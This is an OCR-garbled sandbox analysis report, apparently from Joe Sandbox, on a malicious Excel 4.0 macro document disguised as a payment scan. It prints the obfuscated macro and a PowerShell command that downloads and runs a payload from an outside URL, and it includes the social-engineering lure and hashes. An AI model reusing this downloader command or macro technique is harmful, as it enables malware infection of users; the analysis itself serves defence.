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Analysis Report Scanned_25526662-Payment.xls

Overview
General Information Detection Classification
Sample Scanned_25526662-
Name: Payment.xis Multi AV Scanner detection for subm...
Analysis ID: 337288 MALICIOUS Office document tries to convince Vi...
MD5: .
cd7d4543958945.. Document exploit detected (process...
SHA1L:
3e00f26ab9384c9. Found Excel 4.0 Macro with suspicio...
SHA256: b7a919bb30c163..

PowerShell case anomaly found

Tags:

Most interesting Screenshot:

Sigma detected: Microsoft Office Pr...

Contains long|sleepsi(>=3 min)

Creates alprocess|inisuspendedimo...

Hidden Mac

Document containsiembedded VBA ...

Score: 72 Enablesidebug)privileges

Range: 0-100 May/sleepi(evasive loops)ito hinder: ...

Whitelisted:  false
Queries the velumelinfermation (nam...

w
«Q
>
2
(=
=
®
(7]

Confidence:  100%

5 cmemen ariEs) B oo |

Startup

= System is w7x64
. EXCEL.EXE (PID: 1916 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
. cmd.exe (PID: 2592 cmdline: cmd.eXE /c POWErsHEIl -ex ByPASs -nop -w 1 leX( cUrl (‘http://lankarecipes.com/Sparc.jp' + 'g' )) MD5:

5746BD7E255DD6ABAFA06F7C42C1BA41)
e 4 powershell.exe (PID: 2556 cmdline: POWErSHEI -ex ByPASs -nop -w 1 leX( cUrl (‘http:/lankarecipes.com/Sparc.jp' +'g')) MD5:

852D67A27E454BD389FA7F02A8CBE23F)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source Rule Description Author Strings
Scanned_25526662-Payment.xls PowerShell_Case_Anomal Detects Florian Roth e 0Ox1d3ef:$s1: POWErsHEIl
y obfuscated
PowerShell
hacktools
Scanned_25526662-Payment.xls JoeSecurity_XlsWithMacro Yara detected Xls Joe Security
4 With Macro 4.0

Dropped Files

Source Rule Description Author Strings
C:\Users\user\Desktop\75FE0000 PowerShell_Case_Anomal Detects Florian Roth e 0Ox1lcc07:$s1: POWErsHEI
y obfuscated
PowerShell
hacktools

Memory Dumps
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Source Rule Description Author Strings

00000004.00000002.2114806826.0000000001C PowerShell_Case_Anomal Detects Florian Roth e 0x8c8:$s1: POWErsSHEIl
46000.00000004.00000001.sdmp y obfuscated

PowerShell

hacktools

Sigma Overview

System Summary: | |

Signature Overview

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Data Obfuscation

@ Hooking and other Techniques for Hiding and Protection
® Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection

g

Click to jump to signature section

R

AV Detection:

Multi AV Scanner detection for submitted file

Software Vulnerabilities:

R

System Summary: -

R

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation: -II

Mitre Att&ck Matrix
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Initial Privilege
Access Execution Persistence Escalation
Valid Command and Path Process
Accounts  Scripting Interception  Injection
Interpreter
Default Scripting Boot or Boot or Logon
Accounts Logon Initialization
Initialization  Scripts
Scripts
Domain PowerShell Logon Script Logon Script
Accounts (Windows)  (Windows)
Local Exploitation for Logon Script Logon Script
Accounts  Client (Mac) (Mac)
Execution
Cloud Cron Network Network
Accounts Logon Script Logon Script

Replication Launchd
Through

Removable

Media

Rc.common Rc.common

Behavior Graph

Screenshots

Thumbnails
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Defense Evasion

Masquerading

Disable or Modify
Tools

Virtualization/Sandbox
Evasion

Process

Injection
Scripting

Obfuscated Files or
Information

ID:

Sample:
Startdate:
Architecture:

Score:

Credential Lateral Command Network
Access Discovery Movement Collection Exfiltration and Control Effects
os Security Software Remote Data from  Exfiltration Data Eavesdrop or
Credential Discovery Services Local Over Other Obfuscation Insecure
Dumping System Network Network
Medium Communicati
LSASS Virtualization/Sandbox Remote Data from  Exfiltration Junk Data Exploit SS7 tc
Memory Evasion Desktop Removable Over Redirect Phoi
Protocol Media Bluetooth Calls/SMS
Security Process Discovery SMB/Windows Data from Automated Steganography Exploit SS7 tc
Account Admin Shares Network Exfiltration Track Device
Manager Shared Location
Drive
NTDS File and Directory Distributed Input Scheduled Protocol SIM Card
Discovery Component  Capture Transfer Impersonation  Swap
Object Model
LSA System Information SSH Keylogging Data Fallback Manipulate
Secrets Discovery Transfer Channels Device
Size Limits Communicati
Cached System Owner/User  VNC GUI Input  Exfiltration  Multiband Jamming or
Domain Discovery Capture Over C2 Communication Denial of
Credentials Channel Service
Hide Legend
Behavior Graph
& Legend:

Scanned_25526662-Payment.xls l:‘ Process
08/01/2021 . Signature
WINDOWS
e . Created File

Il onsieinfo

ﬂ Is Dropped

A% Is Windows Process

Y
*
"en

5 B

Number of created Registry Values

Number of created Files

. Visual Basic
@ EXCEL.EXE R
oL beer
Java

N
©

L@ 2 )

Y

.Net C# or VB.NET

C, C++ or other language

Internet
cmd.exe k

g

v

powershell.exe

started

&=

| O =
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Scanned_25526662-Payment [Compatibility Mode] - Microsoft Excel - Scanned_25526662-Payment [Compatibility Mode]

,
General BIN:
(551 74

$ % » Conditional Format _Cell
Formatting - as Table - Styles -

Humber 7 Styles

Formulas Data Review View

AN === e
S A~ = =

Home Insert Page Layout

Calibri - 11 S Wrap Text
53 Copy ~

# Format Painter

B I U-| i~ £ Merge & Center ~ <8

Clipboard 7 ;5 Alignment 5

B =

Insert Delete Format

&

Cells

¥ AuteSum -

@] Fin -
&2 Clear =

o B8
2@ o @ =

i &

Sort & Find &
Filter~ Select~

Editing

J K L M
[' 9 26C3E0261 xls [Compatibility Mede] - Microseft Excel

Pagelayout  Formulas  Data  Review  View  Developer

Q
o B2

v@co@ =

1) Security Warning Enable Content

Macros have been disabled,

x

-

Document created in earlier version of
Microsoft Office Excel

To view this content, please click "Enable Editing” form the yellow bar and then click
"Enable Content”

M4k W nerl SFD [

Ready | B3 | |[EmE 100% (<)

W ¢+ M| Sheetl Sheet? ~Sheet3

Ready |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection
Scanned_25526662-Payment.xls 15%
15%

Scanned_25526662-Payment.xls

Dropped Files
No Antivirus matches
Unpacked PE Files

No Antivirus matches

Copyright null 2021

Scanner
Virustotal

ReversingLabs

Label Link
Browse

Document-
Word.Trojan.Heuristic
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https://www.virustotal.com/gui/file/b7a919bb30c1633483399356aedf42c11656c8a076be969e85b57ccdd071b879/detection/f-b7a919bb30c1633483399356aedf42c11656c8a076be969e85b57ccdd071b879-1610085561

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp://lankarecipes.com/Sparc.jp 0% Avira URL Cloud safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp://lankarecipes.com/Sparc.jpPE 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

e T N N (T

hitp:/f\www.piriform.com/ccleaner powershell.exe, 00000004.00000 false high
003.2106075655.000000000027500
0.00000004.00000001.sdmp
hitp:/fiwww.%s.comPA powershell.exe, 00000004.00000 false e URL Reputation: safe low
002.2115458651.00000000023E000 e URL Reputation: safe
0.00000002.00000001.sdmp e URL Reputation: safe
e URL Reputation: safe
http:/f powershell.exe, 00000004.00000 false high
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 002.2115458651.00000000023E000
0.00000002.00000001.sdmp
http:/f powershell.exe, 00000004.00000 false high
www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv  003.2106075655.000000000027500
0.00000004.00000001.sdmp
hitp://lankarecipes.com/Sparc.jpPE powershell.exe, 00000004.00000 false e Avira URL Cloud: safe unknown

002.2117932442.00000000035FD0O0

0.00000004.00000001.sdmp

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:

31.0.0 Red Diamond

Analysis ID: 337288
Start date: 08.01.2021
Start time: 09:26:53
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 4m 46s
Hypervisor based Inspection enabled: false
Report type: light

Sample file name:
Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Copyright null 2021

Scanned_25526662-Payment.xls
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

6

0
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Number of existing processes analysed:
Number of existing drivers analysed:
Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time Type

09:30:50 API Interceptor

Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints
No context

Dropped Files

No context

Created |/ dropped Files

Copyright null 2021

35x Sleep call for process: powershell.exe modified

o

.
.
.
.

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

default

Timeout

MAL

mal72.expl.evad.winXLS@5/6 @0/0

Failed

Failed

.

.

.

3

e o o o

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension:
Xls

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

Show All

.

Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe
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C:\Users\user\AppData\Local\Temp\B4FE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

115486

7.9252076455233125

false

3072:rNHzSJtwYold/FMeHxvPnelLDCfXoCFYWJz:rhiwYoLH9PnedDCfLbz
F1104B13E6717FFAD522575144EBC4E8
C4971A89533C70ABEB28838D5D203735A3192966
EEE125E6E579F7BCACB273879B16B57236C337FB215DCC4E33D10CD9AFES9C15

E1F3CE1FC5F78FBAE4059353AB450AA0F0519EADFOA4A8B5FBASES7B0C2501CF1F5DF20321A47E7FAC31DE415ECO7FC554E28DC4D6BF080CB7ECD9F0D322A
ABA

false

low

.U.n.l..W.’?...f.D....EK.I.SB‘ %_C..sm.U...Z..y..q..3...j..w-.7=V. N70....U..S X.-........6.V.V.EJ.+.(.".6>....V$z.s. \.9. Aww\S..w....dC.wN....n"j...h)...k..Dj?.i...%..C..p...IB
%*..?..3..HT.l....DOx..bt....\._]g\.....h.VP=...~.>.../.$...k. HOM.Yc. .Q*..y..h.B_..uU}7 . (..> _.VGZEYE.C ..RtFA{dt...b.pH.Sg..Hq.].
[ PP

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Fri Jan 8 16:30:
48 2021, atime=Fri Jan 8 16:30:48 2021, length=8192, window=hide

dropped

867

4.468984530881327

false

12:85QACLgXg/XAICPCHaXgzB8IB/myUZxX+Wnicvbc+bDtZ3YilIMMEpXRIJKNTdJIP8:85/U/XTwz6l1bxYeQSDv3qlrNru/

41EOFBFECDCO013AA0B804EF2D6CED999

42933EADAB354DA0E93CBEFA30CBALFB1331A86E

21BCABBF07C708126B6BA7B509DF02D9DF588C88CDD13C7C72C229D835655028
24F7A2D9108CBE22BCB5F7FE045A412022BD76DCDBI9D2349CD613A3583C33B7266759AE8196915628AA32E3BBFB156896E6CIBEDOOBSEBIEE21A3281665911E

TP t.1.....QK.X..Users."....
....z.l....(R...Desktop.d.....QK.X(R.
Ci\Users\.#...occenee. \\936905\Users user\Desktop ....... \.

...... 6....Us.ers..@.s.hell3.2.dll,.-
Desktop .@.s.h.ell.3.2..d.ll.,.-.2.1.
.\.D.ess.kt.o.p.. 1SPS.XF.L8C
Xevora 936905... . G3NLLWLLOr [ JEKD L3N W

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Scanned_25526662-Payment.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Fri Jan 8 16:30:48 2021,
atime=Fri Jan 8 16:30:48 2021, length=130048, window=hide

dropped

2168

4.540507944375292

false
48:8GS/XT3IKKtL1gDxdIQh2GS/XT3IkKtL1gDxdIQ/:8J/XLIKKtIDxdIQh2J/XLIKKtIDxdIQ/
829D7E4E063C65445B642AB5EA010194
9D9C497414883B71C732ADA555D391AESDEDOC90
821C29348D1C7F30D037A835BE9BI121E4BFC2A1AEA2C806D1E8BD8824EE60AFL

42B2B281BE7A22F495C9570C3D2A86E2769BF1EAG91E7CF28475EB61E4CDE62A7320EBB04D93B24BB7ABC5A04ADDD79E7D6DF178C9192DA1938AD430310942
cs

false

low

| EETTTOPRRN For s e P.O. 0. #00.../C:\ t.1.....QK.X..Users. .......QK. X ..o, 6....Us.ers..@.s.hell32.dll,.-.2.1.8.
1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&=....U.. Alb.us....z.1.....Q.y..Desktop.d......QK.X.Q.y*..._: ....D.eskto.p..@.s.h.ell3.2.dll,.-217.6.9.
..... 2.....(R. .SCANNE~1.XLS. f......Q.y.Q.y*...8... ....S.ca.n.n.ed._.255.26.6.6.2.-.P.ay.m.e.n.t.xls. 8200 Ci\Users\. Al
\936905\Users.user\Desktop\Scanned_25526662-Payment.xls.3....\....\....\....\...\.D.e.s.k.t.o.p\.S.c.a.n.n.e.d._.2.55.2.6.6.6.2.-.P.a.y.m.e.n.t..x.ls.......,.LB.).. . Ag........
....... 1SPS.XF.L8C....&m.m............~...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6...........”ecc.. Xoeue.

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:

File Type:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
ASCII text, with CRLF line terminators
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C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

dropped

125

4.773203908421092

false

3:0yBVomMQtfUDOUNfUDOMMQtfUDOV:dj6 QtfUFfUcQtfUk
99131AEFOE606E2C5BA1981B9472D77C
DF96A9D3A9184C72C5C1F7C900A2A22EA281717E
6A856A47998BD94EC11FE9AES0287F5FB92130A20F409993CFOBADF1ADEFFA56

498B81A6B204B6F080C94B58BAE79ABI8BFEES90484FA8DOF3FACO7620F157302A1F5BO9ED3C5D14465F76963B3D9F2C78BOFB88DA8BCA8795B3E07FFFACO8BE:
D

false

low

Desktop.LNK=0..[xIs]..Scanned_25526662-Payment.LNK=0..Scanned_25526662-Payment.LNK=0..[xIs]..Scanned_25526662-Payment.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EV4ACD8AGVQTSHULQFDSJ.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.587230625514712

false
96:chQCsMqiqvsqvJCwoSz8hQCsMgiqvsEHyqvICworozkKYfHNf8R1IUV8Iu:cyvoSz8yTHnorozknf8RNIu
E4804C56A1A05E3E72879B460B48ECE3

ACF74336FAOFCA21391BC6B4FAEL17FAC8F429C6F
E30AC5BD09432918888BE0A16F354E1E3B99BF78514D98A39E1BDI1EB16439DA
6646E24FF67617E25EF22D1DFF7FC39D1ADDFF5F01D9F9E3815DCE3FFABES9F21E693935FB892407B26BF53A31C2D1494BA8B6085F1F681957B2E21EC150411€

false

low

FLoiiiiiiiie Fro 8.D...xq.{D...xq.{D...k
X.1....~J|v. MICROS~1.@..........~J[v*...I.......
.STARTM~1.,j...... O (L ..@....Start .Men.u..@.s.h.ell3.2.dll,.-21786...~1...Pf.Programs..f.......
1.3.2...d.ll.,.-.2.1.7.8.2. xJu=..ACCESS~1 wJr.*..... .B....A.c.c.es.s.ories..@.s.hell3.2.dll,.-217.6.1....1.
..W.ind.ows. .P.owerShell..v.2k..., WINDOW~2.LNK..Z........,...,% .. 5 W.i.n.d.o.w.s.

............... P.O. .i....+00.../C:\.........c.ooe.. N1 {3\ PROGRA~3..D...... {J.\*. k.

gram.D.ata.

C:\Users\user\Desktop\75FE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Yara Hits:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Applesoft BASIC program data, first line number 16

dropped

138675

7.492528787781268

false
3072:C4xEtjPOtioVjDGUU1qfDIaGGx+cL2QnABHwWSJtUKUIR/FoeHxv7nalHDCfZoCFA:3xEtjPOtioVjDGUU1gfDlavx+W2QnAFN
BOC61E20214460F45C26E9647E35629A

3EF193B80522567A282F15EBAF1DC3A4A1COF6CE
8A2A1A26FFD3D558FAE2918F2F667586587EAGBAE04621A2B44FBB82476CC4EC
225AD3343A8D17534128968F487444F0COEBB7B4F35D4A110E6611898913BEFF3265C32F61EE9D0141B321CD7519E27F8DB6ES3BDECA26F707CC357A077D4154
false

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: C:\Users\user\Desktop\75FE0000, Author: Florian Roth

B....@..... S =..<.K.8..... X.@...
.Calibril... .Calib.r.il..h..8. C.amburial..
..C.alib.ril. ..Calib.ril ....C.alib.

.Calib.ril...
..C.alib.ril.

.Calib.ril...
C.alib.ril.

...Calibril...8

. >,
...Calibril...4.....Calibril........Calibril.........Calibril.........Calibril.........C.

Static File Info

General

Copyright null 2021
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General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Scanned_25526662-Payment.xls"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary

Code Page:

Author:

Last Saved By:
Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary
Document Code Page:
Thumbnail Scaling Desired:
Contains Dirty Links:
Shared Document:

Changed Hyperlinks:

Copyright null 2021

edeea286adb4bcb4

OLE

True
Microsoft Excel
False
False
True
False

False

True

1252

OBA

OBA

2021-01-06 16:47:21
2021-01-06 16:49:04
Microsoft Excel

0

1252
False
False
False

False

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Author:
OBA, Last Saved By: OBA, Name of Creating Appli
cation: Microsoft Excel, Create Time/Date: Wed Jan 6
16:47:21 2021, Last Saved Time/Date: Wed Jan 6
16:49:04 2021, Security: 0

7.633929977062203

e Microsoft Excel sheet (30009/1) 45.83%
e Microsoft Works Spreadsheet (27457/6) 41.94%
e Generic OLE2 / Multistream Compound File
(8008/1) 12.23%
Scanned_25526662-Payment.xls
123904
cd7d4543958945e3fab4f0631e3494f3
3e00f26ab9384c9clbb24eeh2de331f751f536ed

b7a919bb30c1633483399356aedf42¢11656c8a076be96
9e85b57¢ccdd071b879

72fa901dd83e7blc4cae3a04221a90d3ddb3b33bcl7e71
17¢60109d7de50a1f68013365062d445d6774ef9a2d584¢
66d5b22724ead59a6850875857d83c341c4

3072:ffZ+RwPONXoR|Dhlcp0fDlaGGx+cL26nAQHgSJt
MrsIx/FQeHxvjngIHDCfVoCF:3Z+RwPONXoRjDhlcp0fD
lavx+W26nAin

>
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Document Summary
Application Version: 786432

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 114

General

Stream Path: \x1CompObj

File Type: data

Stream Size: 114

Entropy: 4.25248375193

Base64 Encoded: True

Data ASCIl: i F&...Microsoft Office Excel 2003 Work
sheet..... Biff8..... Excel.Sheet.8..9.q............

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 26 00 00 00

4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6¢ 20 32 30 30 33 20 57 6f 72
6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 Oe 00 00 00 45 78 63 65 6¢ 2e 53 68 65
65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 288

General
Stream Path: \x5DocumentSummarylnformation
File Type: data
Stream Size: 288
Entropy: 3.22237115402
Base64 Encoded: False
Data ASCII: e
X
rol.................
Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5

cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 fO 00 00 00 08 00 00 00 01 00 00 00
4800 00 00 17 00 00 00 50 00 00 00 Ob 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00
00 00 68 00 00 00 16 00 00 00 70 00 00 00 Od 00 00 00 78 00 00 00 Oc 00 00 00 ac 00 00 00
02 00 00 00 e4 04 00 00

Stream Path: \x5Summarylnformation, File Type: data, Stream Size: 200

General
Stream Path: \x5Summaryinformation
File Type: data
Stream Size: 200
Entropy: 3.42401113166
Base64 Encoded: False
Data ASCIl:
LT
Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f

f2 19 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40
00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 Oc 00 00
00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e
00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 119481

General

Stream Path: Workbook

File Type: Applesoft BASIC program data, first line number 16

Stream Size: 119481

Entropy: 7.73465408824

Base64 Encoded: True

Data ASCIl: \.p....OBA
B..... a......... £ =..... <.V
N..8....... X.@...oovvivn R

Data Raw: 09 08 10 00 00 06 05 00 a9 1f cd 07 c1 00 01 00 06 04 00 00 el 00 02 00 b0 04 c1 00 02 00

00 00 e2 00 00 00 5¢c 00 70 00 03 00 00 4f 42 41 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

Macro 4.0 Code
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"= SDs95LPpzopuDcZDU8hUBNJdjpz3DTM &

Xvpj1SYG7ygbfNzTQgblpl & h4m6iHDrpuC8folZBCpyw51u0YeZhrROFu8QefOhN

nOuXY119a7UTzjVjbzaSc & JeRIWEh13A2xyNeQioR3x & TXdUbbRAIaBGmbaYT & WGkwsmF2sh7S7H9AgMcj3ZTC56Xjh1T6 &
mHxeebWDqG799FwPoNJfDQzOVRnYM8LXOG4R2nO3Gpi & LNomLC1O & IEi0eXp8sAGCLXevNQ7 & ppWJILV7MBOumMusrémgFOCISNOFhM9mj
& h7SaY8ngb570K4XDdUUaFgoViKa & IbtiRrvVOIbO3HYPjYeSWMAVYQq5CErI3N & zKVi3cfeEtCEeHLkwmNalEynPuAM & PyLprObWf2kwfAb2zu2QEKOXSH
WGspOyGY & ZJO504Ziyq & Lréav3LLfdRIdHyxVZgTvZ & UWHB8HACIUjgg & RrHvX68ZqcUCInDrw5ryT7khTnvgMvLE6nm3b4ZCKtSr3Yw3k
& mMuy3ChhR4AjwIWFtkigMkrvVu6 & 1dGDtSSMb8LIa&EXEC((((((((((("'cmd.eXE /c PoOWErsHEIl -ex ByPASs -nop -w 1 leX( cUrl (http://lankarecipes.com/Sparc.jp' +'g'
NIMMN))= RETURN()
Network Behavior
No network behavior found
Code Manipulations
Statistics
Behavior

@ EXCEL.EXE

@ Click to jump to process

System Behavior

® cmd.exe
@ powershell.exe

Analysis Process: EXCEL.EXE PID: 1916 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Copyright null 2021

09:30:45

08/01/2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
false

‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
0x13f8b0000

27641504 bytes
5FBOAOF93382ECD19F5F499A5CAAS9F0

true

true

C, C++ or other language

high
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File Activities

File Created

File Path
C:\Users\user\AppData\Local\Temp\F354.tmp

C:\Users\user\AppData\Local\Temp\B4FE0Q000

C:\Users\user\AppData\Local\Temp\51C9.tmp

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\F354.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\imgs.ht~
C:\Users\user\AppData\Local\Temp\51C9.tmp

File Moved

Old File Path
C:\Users\user\AppData\Local\Temp\B4FE0000
C:\Users\user\Desktop\75FE0000
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image002.png
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.htm
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pn__
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.ht_

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written

File Path

Copyright null 2021

Offset

Access Attributes Options Completion
read attributes | device synchronous io  success or wait 1
synchronize | non alert | non
generic read directory file
read attributes | device synchronous io  success or wait 1
synchronize | non alert | non
generic read | directory file |
generic write open no recall
read attributes | device synchronous io  success or wait 1
synchronize | non alert | non
generic read directory file
Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv
C:\Users\user\Desktop\Scanned_25526662-Payment.xls
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.htmss

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss

Length Value Ascii

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

Source

Count Address
13FBFECS83

Symbol

TFEEAA29ACO unknown

13FBFEC83 GetTempFileNameW
Source
Count Address Symbol
13FE6B818 DeleteFileW

P PR R R R R R R R R

GetTempFileNameW

TFEEAA29ACO unknown

TFEEAA29ACO unknown

TFEEAA29ACO unknown

